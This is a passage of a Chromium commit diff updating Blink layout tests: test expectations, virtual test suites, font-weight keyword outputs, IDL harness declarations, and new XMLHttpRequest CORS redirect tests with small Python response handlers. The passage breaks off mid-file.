 crbug.com/737959 virtual/off-main-thread-fetch/http/tests/misc/video-poster-image-load-outlives-gc-without-crashing.html [ Failure Pass Crash ]
+crbug.com/737959 [ Mac10.11 ] virtual/off-main-thread-fetch/http/tests/misc/image-input-type-outlives-gc-without-crashing.html [ Failure Pass Crash ]
+crbug.com/737959 [ Linux ] virtual/off-main-thread-fetch/http/tests/misc/embed-image-load-outlives-gc-without-crashing.html [ Failure Pass Crash ]
 
 # Awaiting rebaseline after skia roll.
 crbug.com/739559 virtual/gpu-rasterization/images/color-profile-background-image-space.html [ Failure Pass ]
@@ -3090,6 +3063,11 @@
 crbug.com/736056 [ Mac ] external/wpt/encoding/legacy-mb-tchinese [ Timeout Pass ]
 crbug.com/736056 external/wpt/encoding/legacy-mb-korean/euc-kr/euckr-encode-form-errors-hangul.html [ Timeout Pass ]
 
+# Timeout on Win 7
+crbug.com/626703 [ Win7 Debug ] external/wpt/encoding/legacy-mb-tchinese/big5/big5-encode-form-errors-extBa.html [ Timeout Pass ]
+crbug.com/626703 [ Win7 Debug ] external/wpt/encoding/legacy-mb-tchinese/big5/big5-encode-form-errors-extBb.html [ Timeout Pass ]
+crbug.com/626703 [ Win7 Debug ] external/wpt/encoding/legacy-mb-korean/euc-kr/euckr-encode-href-errors-han.html [ Timeout Pass ]
+
 # Needs a mac person to fix the bug
 crbug.com/719737 [ Mac ] css3/flexbox/radiobutton-min-size.html [ Failure ]
 
@@ -3128,4 +3106,3 @@
 
 crbug.com/747163 [ Linux ] imagecapture/MediaStreamTrack-applyConstraints.html [ Pass Crash ]
 crbug.com/747163 [ Linux ] imagecapture/MediaStreamTrack-getSettings.html [ Pass Crash ]
-
diff --git a/third_party/WebKit/LayoutTests/VirtualTestSuites b/third_party/WebKit/LayoutTests/VirtualTestSuites
index ae16e63..e45b7c77 100644
--- a/third_party/WebKit/LayoutTests/VirtualTestSuites
+++ b/third_party/WebKit/LayoutTests/VirtualTestSuites
@@ -118,6 +118,11 @@
     "args": ["--enable-features=UseFeaturePolicyForPermissions"]
   },
   {
+    "prefix": "feature-policy-permissions",
+    "base": "http/tests/geolocation-api",
+    "args": ["--enable-features=UseFeaturePolicyForPermissions"]
+  },
+  {
     "prefix": "off-main-thread-fetch",
     "base": "external/wpt/html/browsers/offline/appcache/workers",
     "args": ["--enable-features=OffMainThreadFetch"]
@@ -347,11 +352,6 @@
     "args": ["--force-device-scale-factor=2", "--enable-use-zoom-for-dsf"]
   },
   {
-    "prefix": "documentwriteevaluator",
-    "base": "http/tests/preload/document-write",
-    "args": ["--enable-blink-features=DocumentWriteEvaluator"]
-  },
-  {
     "prefix": "wheelscrolllatching",
     "base": "fast/events/wheel",
     "args": ["--enable-features=TouchpadAndWheelScrollLatching"]
diff --git a/third_party/WebKit/LayoutTests/css3/font-weight-expected.txt b/third_party/WebKit/LayoutTests/css3/font-weight-expected.txt
index 6212a32..7c84fb9 100644
--- a/third_party/WebKit/LayoutTests/css3/font-weight-expected.txt
+++ b/third_party/WebKit/LayoutTests/css3/font-weight-expected.txt
@@ -4,38 +4,38 @@
 
 
 PASS getComputedStyle(outer).fontWeight is "100"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "200"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "300"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
-PASS getComputedStyle(outer).fontWeight is "400"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(outer).fontWeight is "normal"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
-PASS getComputedStyle(outer).fontWeight is "400"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(outer).fontWeight is "normal"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "500"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "600"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
-PASS getComputedStyle(outer).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "normal"
+PASS getComputedStyle(outer).fontWeight is "bold"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
-PASS getComputedStyle(outer).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "normal"
+PASS getComputedStyle(outer).fontWeight is "bold"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
+PASS getComputedStyle(lighter).fontWeight is "normal"
 PASS getComputedStyle(outer).fontWeight is "800"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "bold"
 PASS getComputedStyle(outer).fontWeight is "900"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors-expected.txt b/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors-expected.txt
index 43751d0a..5afce7e 100644
--- a/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors-expected.txt
+++ b/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors-expected.txt
@@ -4,38 +4,38 @@
 
 
 PASS getComputedStyle(outer).fontWeight is "100"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "200"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "300"
-PASS getComputedStyle(bolder).fontWeight is "400"
+PASS getComputedStyle(bolder).fontWeight is "normal"
 PASS getComputedStyle(lighter).fontWeight is "100"
-PASS getComputedStyle(outer).fontWeight is "400"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(outer).fontWeight is "normal"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
-PASS getComputedStyle(outer).fontWeight is "400"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(outer).fontWeight is "normal"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "500"
-PASS getComputedStyle(bolder).fontWeight is "700"
+PASS getComputedStyle(bolder).fontWeight is "bold"
 PASS getComputedStyle(lighter).fontWeight is "100"
 PASS getComputedStyle(outer).fontWeight is "600"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
-PASS getComputedStyle(outer).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "normal"
+PASS getComputedStyle(outer).fontWeight is "bold"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
-PASS getComputedStyle(outer).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "normal"
+PASS getComputedStyle(outer).fontWeight is "bold"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "400"
+PASS getComputedStyle(lighter).fontWeight is "normal"
 PASS getComputedStyle(outer).fontWeight is "800"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "bold"
 PASS getComputedStyle(outer).fontWeight is "900"
 PASS getComputedStyle(bolder).fontWeight is "900"
-PASS getComputedStyle(lighter).fontWeight is "700"
+PASS getComputedStyle(lighter).fontWeight is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors.html b/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors.html
index 4a3b196b..67aeeaf 100644
--- a/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors.html
+++ b/third_party/WebKit/LayoutTests/css3/font-weight-multiple-selectors.html
@@ -17,17 +17,17 @@
 description('Test that font-weight: bolder and font-weight: lighter are not cumulative when multiple selectors apply.');
 
 table = [
-["100"   , "100"   , "400", "100"],
-["200"   , "200"   , "400", "100"],
-["300"   , "300"   , "400", "100"],
-["400"   , "400", "700"  , "100"],
-["normal", "400", "700"  , "100"],
-["500"   , "500"   , "700"  , "100"],
-["600"   , "600"   , "900"   , "400"],
-["700"   , "700"  , "900"   , "400"],
-["bold"  , "700"  , "900"   , "400"],
-["800"   , "800"   , "900"   , "700"],
-["900"   , "900"   , "900"   , "700"],
+["100"   , "100"   , "normal", "100"],
+["200"   , "200"   , "normal", "100"],
+["300"   , "300"   , "normal", "100"],
+["400"   , "normal", "bold"  , "100"],
+["normal", "normal", "bold"  , "100"],
+["500"   , "500"   , "bold"  , "100"],
+["600"   , "600"   , "900"   , "normal"],
+["700"   , "bold"  , "900"   , "normal"],
+["bold"  , "bold"  , "900"   , "normal"],
+["800"   , "800"   , "900"   , "bold"],
+["900"   , "900"   , "900"   , "bold"],
 ];
 
 var outer = document.getElementById("outer");
diff --git a/third_party/WebKit/LayoutTests/css3/font-weight.html b/third_party/WebKit/LayoutTests/css3/font-weight.html
index b4ceacf5..6c83be88 100644
--- a/third_party/WebKit/LayoutTests/css3/font-weight.html
+++ b/third_party/WebKit/LayoutTests/css3/font-weight.html
@@ -16,17 +16,17 @@
 description('Test that font-weight: bolder and font-weight: lighter behave according to spec.');
 
 table = [
-["100"   , "100"   , "400", "100"],
-["200"   , "200"   , "400", "100"],
-["300"   , "300"   , "400", "100"],
-["400"   , "400", "700"  , "100"],
-["normal", "400", "700"  , "100"],
-["500"   , "500"   , "700"  , "100"],
-["600"   , "600"   , "900"   , "400"],
-["700"   , "700"  , "900"   , "400"],
-["bold"  , "700"  , "900"   , "400"],
-["800"   , "800"   , "900"   , "700"],
-["900"   , "900"   , "900"   , "700"],
+["100"   , "100"   , "normal", "100"],
+["200"   , "200"   , "normal", "100"],
+["300"   , "300"   , "normal", "100"],
+["400"   , "normal", "bold"  , "100"],
+["normal", "normal", "bold"  , "100"],
+["500"   , "500"   , "bold"  , "100"],
+["600"   , "600"   , "900"   , "normal"],
+["700"   , "bold"  , "900"   , "normal"],
+["bold"  , "bold"  , "900"   , "normal"],
+["800"   , "800"   , "900"   , "bold"],
+["900"   , "900"   , "900"   , "bold"],
 ];
 
 var outer = document.getElementById("outer");
diff --git a/third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt b/third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
index ebdc0777..d7f3e48 100644
--- a/third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
+++ b/third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
@@ -9,7 +9,7 @@
 Test ID: selectionTest
 text/plain: Select some text in this box and drag it.
 text/url: 
-text/html: <span style="color: rgb(0, 0, 0); font-family: serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Select some text in this box and drag it.</span>
+text/html: <span style="color: rgb(0, 0, 0); font-family: serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Select some text in this box and drag it.</span>
 Test ID: imageTest
 text/plain: 
 text/url: 
diff --git a/third_party/WebKit/LayoutTests/editing/pasteboard/onpaste-text-html-expected.txt b/third_party/WebKit/LayoutTests/editing/pasteboard/onpaste-text-html-expected.txt
index 2d67684..64b01dc 100644
--- a/third_party/WebKit/LayoutTests/editing/pasteboard/onpaste-text-html-expected.txt
+++ b/third_party/WebKit/LayoutTests/editing/pasteboard/onpaste-text-html-expected.txt
@@ -1,5 +1,5 @@
 CONSOLE MESSAGE: line 21: text/plain: This test verifies that we can get text/html from the clipboard during an onpaste event. 
-CONSOLE MESSAGE: line 23: text/html: <span style="color: rgb(0, 0, 0); font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">This test verifies that we can get text/html from the clipboard during an onpaste event.<span> </span></span>
+CONSOLE MESSAGE: line 23: text/html: <span style="color: rgb(0, 0, 0); font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">This test verifies that we can get text/html from the clipboard during an onpaste event.<span> </span></span>
 This test verifies that we can get text/html from the clipboard during an onpaste event. This test requires DRT.
 Paste content in this div.This test verifies that we can get text/html from the clipboard during an onpaste event. 
 PASS
diff --git a/third_party/WebKit/LayoutTests/editing/pasteboard/paste-text-with-style-4-expected.txt b/third_party/WebKit/LayoutTests/editing/pasteboard/paste-text-with-style-4-expected.txt
index 27cab07..7df4ab74 100644
--- a/third_party/WebKit/LayoutTests/editing/pasteboard/paste-text-with-style-4-expected.txt
+++ b/third_party/WebKit/LayoutTests/editing/pasteboard/paste-text-with-style-4-expected.txt
@@ -10,6 +10,6 @@
 | <b>
 |   style="border: solid 5px blue;padding: 5px;"
 |   <i>
-|     style="font-weight: 400;"
+|     style="font-weight: normal;"
 |     "hello<#selection-caret>"
 |   <br>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.html b/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.html
index 0ef3700..b88a752 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.html
+++ b/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.html
@@ -32,11 +32,10 @@
 
         idl_array.add_untested_idls("[PrimaryGlobal] interface Window { };");
 
-        idl_array.add_untested_idls("interface ArrayBuffer {};");
-        idl_array.add_untested_idls("interface ArrayBufferView {};");
+        idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface ArrayBuffer {};");
         idl_array.add_untested_idls("interface URL {};");
-        idl_array.add_untested_idls("interface EventTarget {};");
-        idl_array.add_untested_idls("interface Event {};");
+        idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface EventTarget {};");
+        idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface Event {};");
         idl_array.add_untested_idls("[TreatNonCallableAsNull] callback EventHandlerNonNull = any (Event event);");
         idl_array.add_untested_idls("typedef EventHandlerNonNull? EventHandler;");
 
diff --git a/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.worker.js b/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.worker.js
index 3243e34..138325b 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.worker.js
+++ b/third_party/WebKit/LayoutTests/external/wpt/FileAPI/idlharness.worker.js
@@ -10,11 +10,10 @@
 
     idl_array.add_untested_idls("[Global] interface Window { };");
 
-    idl_array.add_untested_idls("interface ArrayBuffer {};");
-    idl_array.add_untested_idls("interface ArrayBufferView {};");
+    idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface ArrayBuffer {};");
     idl_array.add_untested_idls("interface URL {};");
-    idl_array.add_untested_idls("interface EventTarget {};");
-    idl_array.add_untested_idls("interface Event {};");
+    idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface EventTarget {};");
+    idl_array.add_untested_idls("[Exposed=(Window,Worker)] interface Event {};");
     idl_array.add_untested_idls("[TreatNonCallableAsNull] callback EventHandlerNonNull = any (Event event);");
     idl_array.add_untested_idls("typedef EventHandlerNonNull? EventHandler;");
 
diff --git a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.html b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.html
index 033ea7b6..6fb37f8 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.html
+++ b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.html
@@ -33,6 +33,9 @@
     // https://dom.spec.whatwg.org/#interface-eventtarget
     idlArray.add_untested_idls("[Exposed=(Window,Worker)] interface EventTarget { };");
 
+    // https://html.spec.whatwg.org/multipage/common-dom-interfaces.html#domstringlist
+    idlArray.add_untested_idls("[Exposed=(Window,Worker)] interface DOMStringList { };");
+
     // From Indexed DB:
     idlArray.add_idls(idls);
 
diff --git a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.idl b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.idl
index f340619..3c993c3 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.idl
+++ b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.idl
@@ -201,11 +201,3 @@
   "readwrite",
   "versionchange"
 };
-
-interface DOMStringList {
-    readonly attribute unsigned long length;
-    getter DOMString (unsigned long index);
-    DOMString? item(unsigned long index);
-
-    boolean contains(DOMString str);
-};
diff --git a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.worker.js b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.worker.js
index 42da53ba..22aa386 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.worker.js
+++ b/third_party/WebKit/LayoutTests/external/wpt/IndexedDB/interfaces.worker.js
@@ -25,6 +25,9 @@
     // https://dom.spec.whatwg.org/#interface-eventtarget
     idlArray.add_untested_idls("[Exposed=(Window,Worker)] interface EventTarget { };");
 
+    // https://html.spec.whatwg.org/multipage/common-dom-interfaces.html#domstringlist
+    idlArray.add_untested_idls("[Exposed=(Window,Worker)] interface DOMStringList { };");
+
     // From Indexed DB:
     idlArray.add_idls(idls);
 
diff --git a/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any-expected.txt
new file mode 100644
index 0000000..29e19a31
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any-expected.txt
@@ -0,0 +1,18 @@
+This is a testharness.js-based test.
+PASS Cannot construct without new 
+PASS inherits from Error: prototype-side 
+PASS does not inherit from Error: class-side 
+PASS message property descriptor 
+PASS message getter performs brand checks (i.e. is not [LenientThis] 
+PASS name property descriptor 
+PASS name getter performs brand checks (i.e. is not [LenientThis] 
+PASS code property descriptor 
+PASS code getter performs brand checks (i.e. is not [LenientThis] 
+PASS code property is not affected by shadowing the name property 
+PASS Object.prototype.toString behavior is like other interfaces 
+PASS Inherits its toString() from Error.prototype 
+PASS toString() behavior from Error.prototype applies as expected 
+PASS DOMException.prototype.toString() applied to DOMException.prototype throws because of name/message brand checks 
+FAIL If the implementation has a stack property on normal errors, it also does on DOMExceptions assert_equals: The typeof values must match expected "string" but got "undefined"
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any.worker-expected.txt
new file mode 100644
index 0000000..29e19a31
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any.worker-expected.txt
@@ -0,0 +1,18 @@
+This is a testharness.js-based test.
+PASS Cannot construct without new 
+PASS inherits from Error: prototype-side 
+PASS does not inherit from Error: class-side 
+PASS message property descriptor 
+PASS message getter performs brand checks (i.e. is not [LenientThis] 
+PASS name property descriptor 
+PASS name getter performs brand checks (i.e. is not [LenientThis] 
+PASS code property descriptor 
+PASS code getter performs brand checks (i.e. is not [LenientThis] 
+PASS code property is not affected by shadowing the name property 
+PASS Object.prototype.toString behavior is like other interfaces 
+PASS Inherits its toString() from Error.prototype 
+PASS toString() behavior from Error.prototype applies as expected 
+PASS DOMException.prototype.toString() applied to DOMException.prototype throws because of name/message brand checks 
+FAIL If the implementation has a stack property on normal errors, it also does on DOMExceptions assert_equals: The typeof values must match expected "string" but got "undefined"
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/access-control-and-redirects-async-same-origin.htm b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/access-control-and-redirects-async-same-origin.htm
new file mode 100644
index 0000000..24cc80c
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/access-control-and-redirects-async-same-origin.htm
@@ -0,0 +1,71 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Tests that asynchronous XMLHttpRequests handle redirects according to the CORS standard.</title>
+    <script src="/resources/testharness.js"></script>
+    <script src="/resources/testharnessreport.js"></script>
+    <script src="/common/get-host-info.sub.js"></script>
+  </head>
+  <body>
+    <script>
+    function runTest(test, path, credentials, expectSuccess) {
+      const xhr = new XMLHttpRequest();
+      xhr.withCredentials = credentials;
+      xhr.open("GET", "resources/redirect.py?location=" + get_host_info().HTTP_REMOTE_ORIGIN + path, true);
+
+      xhr.onload = test.step_func_done(function() {
+        assert_true(expectSuccess);
+        assert_equals(xhr.responseText, "PASS: Cross-domain access allowed.");
+      });
+      xhr.onerror = test.step_func_done(function() {
+        assert_false(expectSuccess);
+        assert_equals(xhr.status, 0);
+      });
+      xhr.send(null);
+    }
+
+    const withoutCredentials = false;
+    const withCredentials = true;
+    const succeeds = true;
+    const fails = false;
+
+    // Test simple same origin requests that receive cross origin redirects.
+
+    // The redirect response passes the access check.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow-star.py",
+          withoutCredentials, succeeds)
+    }, "Request without credentials is redirected to a cross-origin response with Access-Control-Allow-Origin=* (with star)");
+
+    // The redirect response fails the access check because credentials were sent.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow-star.py",
+          withCredentials, fails)
+    }, "Request with credentials is redirected to a cross-origin response with Access-Control-Allow-Origin=* (with star)");
+
+    // The redirect response passes the access check.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow.py",
+          withoutCredentials, succeeds)
+    }, "Request without credentials is redirected to a cross-origin response with a specific Access-Control-Allow-Origin");
+
+    // The redirect response passes the access check.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow.py",
+          withCredentials, succeeds)
+    }, "Request with credentials is redirected to a cross-origin response with a specific Access-Control-Allow-Origin");
+
+    // forbidding credentials. The redirect response passes the access check.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow-no-credentials.py",
+          withoutCredentials, succeeds)
+    }, "Request without credentials is redirected to a cross-origin response with a specific Access-Control-Allow-Origin (no credentials)");
+
+    // forbidding credentials. The redirect response fails the access check.
+    async_test(t => {
+      runTest(t, "/XMLHttpRequest/resources/access-control-basic-allow-no-credentials.py",
+          withCredentials, fails)
+    }, "Request with credentials is redirected to a cross-origin response with a specific Access-Control-Allow-Origin (no credentials)");
+    </script>
+  </body>
+</html>
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/allow-lists-starting-with-comma.htm b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/allow-lists-starting-with-comma.htm
index 03cc7cb8..4a4e5e2 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/allow-lists-starting-with-comma.htm
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/allow-lists-starting-with-comma.htm
@@ -4,30 +4,30 @@
     <title>Allow lists starting with a comma should be parsed correctly</title>
     <script src="/resources/testharness.js"></script>
     <script src="/resources/testharnessreport.js"></script>
+    <script src="/common/get-host-info.sub.js"></script>
   </head>
   <body>
   <script type="text/javascript">
-    var test = async_test();
-
-    test.step(function() {
-      var xhr = new XMLHttpRequest();
-      var url = "resources/access-control-allow-lists.py?headers=,y-lol,x-print,%20,,,y-print&origin=http://127.0.0.1:8000";
-      xhr.open("GET", url, false);
-      xhr.setRequestHeader('x-print', 'unicorn')
-      xhr.setRequestHeader('y-print', 'narwhal')
+    async_test(function(test) {
+      const client = new XMLHttpRequest();
+      let url = "XMLHttpRequest/resources/access-control-allow-lists.py?headers=,y-lol,x-print,%20,,,y-print&origin=" +
+          get_host_info().HTTP_ORIGIN;
+      client.open("GET", get_host_info().HTTP_REMOTE_ORIGIN + '/' + url, false);
+      client.setRequestHeader('x-print', 'unicorn')
+      client.setRequestHeader('y-print', 'narwhal')
       // Sending GET request with custom headers
-      assert_equals(xhr.send(null), undefined);
-      var response = JSON.parse(xhr.response);
+      assert_equals(client.send(null), undefined);
+      const response = JSON.parse(client.response);
       assert_equals(response['x-print'], "unicorn");
       assert_equals(response['y-print'], "narwhal");
 
-      url = "resources/access-control-allow-lists.py?methods=,,PUT,GET&origin=http://127.0.0.1:8000";
-      xhr.open("PUT", url, false);
+      url = "XMLHttpRequest/resources/access-control-allow-lists.py?methods=,,PUT,GET&origin=" +
+          get_host_info().HTTP_ORIGIN;
+      client.open("PUT", get_host_info().HTTP_REMOTE_ORIGIN + '/' + url, false);
       // Sending PUT request
-      assert_equals(xhr.send(null), undefined);
+      assert_equals(client.send(null), undefined);
       test.done();
-    });
+    }, "Allow lists starting with a comma should be parsed correctly");
   </script>
   </body>
   </html>
-
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-allow-lists.py b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-allow-lists.py
index c020cd2d..526d365 100644
--- a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-allow-lists.py
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-allow-lists.py
@@ -8,15 +8,13 @@
             response.headers.set("Access-Control-Allow-Origin", request.GET["origin"])
 
     if "headers" in request.GET:
-        response.headers.set("Access-Control-Allow-Headers", '{'+request.GET["headers"]+'}')
+        response.headers.set("Access-Control-Allow-Headers", request.GET["headers"])
     if "methods" in request.GET:
-        response.headers.set("Access-Control-Allow-Methods", '{'+request.GET["methods"]+'}')
+        response.headers.set("Access-Control-Allow-Methods", request.GET["methods"])
 
     headers = dict(request.headers)
 
     for header in headers:
         headers[header] = headers[header][0]
 
-    headers["get_value"] = "" if "get_value" not in request.GET else request.GET["get_value"]
-
     return json.dumps(headers)
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-no-credentials.py b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-no-credentials.py
new file mode 100755
index 0000000..12f8660
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-no-credentials.py
@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+def main(request, response):
+    response.headers.set("Content-Type", "text/plain")
+    response.headers.set("Access-Control-Allow-Origin", request.headers.get("origin"))
+
+    response.content = "PASS: Cross-domain access allowed."
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-star.py b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-star.py
new file mode 100755
index 0000000..4557c06b0
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow-star.py
@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+def main(request, response):
+    response.headers.set("Content-Type", "text/plain")
+    response.headers.set("Access-Control-Allow-Origin", "*")
+
+    response.content = "PASS: Cross-domain access allowed."
diff --git a/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow.py b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow.py
new file mode 100755
index 0000000..2325925
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/XMLHttpRequest/resources/access-control-basic-allow.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python
+def main(request, response):
